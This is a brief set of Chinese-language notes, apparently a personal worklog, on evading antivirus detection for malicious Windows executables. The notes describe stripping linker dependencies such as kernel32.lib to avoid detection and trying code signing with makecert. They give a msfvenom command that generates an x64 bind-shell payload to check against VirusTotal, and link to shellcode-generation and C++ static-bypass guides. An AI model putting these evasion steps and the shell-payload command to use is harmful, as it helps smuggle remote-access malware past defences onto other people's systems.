makecert.exe生成证书失败,暂未复现
删除链接库
在用Visual C ++项目编译和链接属性时,我发现,如果从Linker选项中删除其他依赖项(尤其是kernel32.lib)时,某些反恶意软件引擎会停止把已生成的可执行文件标记为恶意。有趣的是,由于kernel32.lib静态库在编译后仍会被静态链接,因为可执行文件需要知道基本API函数的位置(源自kernel32.dll)。
暂未复现
切换到x64环境
生成x64捆绑shell有效载荷,并针对VirusTotal进行检查:
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f raw
参考链接:
msf生成sheelcode:https://www.cnblogs.com/henry666/p/17428579.html
msf生成sheelcode:https://www.cnblogs.com/clever-universe/p/8691365.html
msf生成sheelcode&监听执行上线:https://blog.csdn.net/qq_55202378/article/details/126516851
C++静态绕过检测方法汇总:https://www.freebuf.com/articles/system/227463.html
数字签名:https://www.cnblogs.com/Jimmy-X-MyCODE/p/12607756.html